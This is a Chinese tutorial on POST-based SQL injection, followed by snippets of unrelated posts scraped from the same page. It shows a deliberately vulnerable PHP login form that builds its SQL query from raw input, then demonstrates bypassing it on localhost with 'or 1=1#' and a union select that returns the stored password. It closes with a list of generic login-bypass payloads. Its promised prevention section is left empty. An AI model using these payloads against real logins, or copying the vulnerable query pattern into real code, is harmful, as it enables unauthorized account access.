sql_injection第二发

1、代码篇

</html>
<center>
<form action="#" method="post">
姓名:<input type="text" name="user"><br>
密码:<input type="text" name="pass"><br>
<input type="submit" name="submit" value="提交">
</center>
</html>
<?php
/*************************
author:Bloodero
sql_injection_post
*************************/

include("../conn.php");
error_reporting(0);
if(isset($_POST[‘submit‘])){
    if(!empty($_POST[‘user‘]) && !empty($_POST[‘pass‘])){
        $user=$_POST[‘user‘];
        $pass=$_POST[‘pass‘];
        echo "你当前输入用户名:".$user."<br>";
        echo "你当前输入密码:".$pass."<br>";
        $sql="select * from user where username=‘$user‘ and password=‘$pass‘";
        $res=mysql_query($sql);
        $row=mysql_fetch_array($res);
        if(empty($row)){
            echo "<script>alert(‘登陆失败‘)</script>";
        }
        else{
            echo "当前用户:<br>";
            echo "id:".$row[‘id‘]."<br>";
            echo "username:".$row[‘username‘]."<br>";
            echo "password:".$row[‘password‘]."<br>";
        }
    }
    else{
        echo "<script>alert(‘用户名/密码不能为空‘)</script>";
    }
}
else{
    exit();
}
?>

2、注入篇:http://localhost/pentest/sql/sql_injection_post.php

正确输入:

你当前输入用户名:admin
你当前输入密码:pass
当前用户:
id:1
username:admin
password:pass

尝试注入:

你当前输入用户名:1‘
你当前输入密码:1

登陆失败
你当前输入用户名:1‘ #
你当前输入密码:1

登陆失败
你当前输入用户名:1‘ or 1=1#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass

登陆成功
你当前输入用户名:1‘ or 1=2#
你当前输入密码:1

登陆失败

这里我解释一下原理:

当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;

当我们接or 1=1时,恒真,所以就会查询所有;

你当前输入用户名:1‘ and 1=2 union select * from user#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass

这里的原理不懂的可以去看看第一发sql_injection;

3、防注入

对post过来的数据,进行处理;会有一篇进行详细讲解

4、通过post注入,引生的万能密码

"or "a"="a
‘)or(‘a‘=‘a
or 1=1--
‘or 1=1--
a‘or‘ 1=1--
admin‘ or ‘a‘=‘a 密码随便
‘or 1=1/*
User: something  Pass: ‘ or ‘1‘=‘1
1‘or‘1‘=‘1
admin‘ or 1=1/*
时间: 2024-08-03 07:50:15

sql_injection第二发的相关文章

鬼畜调教第二发

鬼畜调教第二发:<超越生死的爱恋> 害我两天什么事都没干,做出来效果还这么渣..亏.. 其实剧情在结尾有的,只是BiliBili没放出来..下载就行.

AJAX第二发

开始总结自己在项目上的使用AJAX的情况: 该图为向后台请求的数据,前台返回的结果,返回的数据类型为object,businessObj由许多key组成,我们项目前台需要调用的数据就藏在数组records中,可以通过 var records=data['businessObj']['records']; 将records打印出来,输出的内容为一个数组(我们项目中数组长度为1,项目初期,内容有点少,/(ㄒoㄒ)/~~~),每个数组又是由一个对象组成. 下面上代码喽!!!!!!!!!!!!!!!!!

(持续集成)win7上部署Jenkins+MSBuild+Svn+SonarQube+SonarQube Scanner for MSBuild (第二发)

这一篇进入实战,走起.... 登录jenkins,如下图 点击上图中的“新建”按钮,进入下图 输入项目名称,选择“构建一个自由风格的软件项目”即可,点击“ok”,跳转到下图 svn源代码管理(选择代码管理器中的subversion) 构建触发器信息维护(什么时候down源代码到本地) 第一个的意思是远程触发构建,就是访问url的方式触发构建 第二个的意思是另一个项目构建完成后,进行构建 第三个的意思是定时去构建(不论源代码是否有新的commit) 第四个略过 第五个定期去构建(有新的commit

HDU 1695 GCD 莫比乌斯第二发

题意:求[1,b]和[1,d]内公约数为k的对数(错了N发之后才看到a和c为1...) 解一:容斥原理和欧拉函数 http://www.cnblogs.com/kuangbin/p/3269182.html 参考大神的文章吧,我没写=-= 解二:莫比乌斯 设f[x]为GCD(a,b)=k的对数 F[x]为k|x的对数 所以b,d均除k就是求所有GCD为1的对数 sum+=sigema(mu[i]*(b/i)*(d/i)) #include <stdio.h> #include <stri

心血漏洞第二发?SSL v3再曝新漏洞发布预警

关于前一阵的SSL"心血"漏洞我想大家一定不会太陌生,漏洞出来之后,各家都组织人马忙东忙西.该分析的分析,该打补丁的打补丁.可悲的的是尽管补了却还是可以绕过弄得大家精疲力竭.可悲的的是尽管补了却还是可以绕过弄得大家精疲力竭. 但风波刚刚过去,我们的厂商还没来得及松口气,今天又收到了另外一则可怕的消息:"Heartbleed"又来了!不过这次,是SSL3.0版本. 根据路边社消息,99.6433%的前1000000站点均支持SSL v3.这下,真的有意思了. 来看一下

sql_injection第一发

1.代码篇 <?php error_reporting(0); include("../conn.php"); if(isset($_GET['id'])){ $id=$_GET['id']; echo "你当前输入id:".$id."<br>"; $sql="select * from user where id='$id' limit 0,1"; $res=mysql_query($sql); $row=

GIT 牛刀小试 (第二发)

一.分支 创建分支: $ git branch branch-name切换到某个分支:$ git checkout branch-name 这两条命令可以简写成:$ git checkout -b branch-name合并分支:$ git merge branch-name (合并到哪个分支就切换到哪个分支执行命令)删除分支:$ git branch -d branch-name解决冲突:如果出现冲突,在执行合并分支命令时系统会给出提醒,要手工完成冲突解决或者调用图形化工具,可以通过 $ gi

斗破苍穹人物图片_第二发

蓝牙API学习第二发_____Bluetooth介绍

英文原地址为: http://www.androidcommunitydocs.com/guide/topics/connectivity/bluetooth.html 安卓平台包含了对蓝牙协议栈的支持,这允许一个设备与另一个设备进行无线的数据交换.应用程序框架层(Android系统架构四层之一,由上到下分别为应用程序层.应用程序框架层.系统运行库层.Linux内核层)支持通过蓝牙API来使用蓝牙的功能.这些API实现点对和和多点式的无线功能,允许设备无线连接到其他的设备. 使用蓝牙API,应用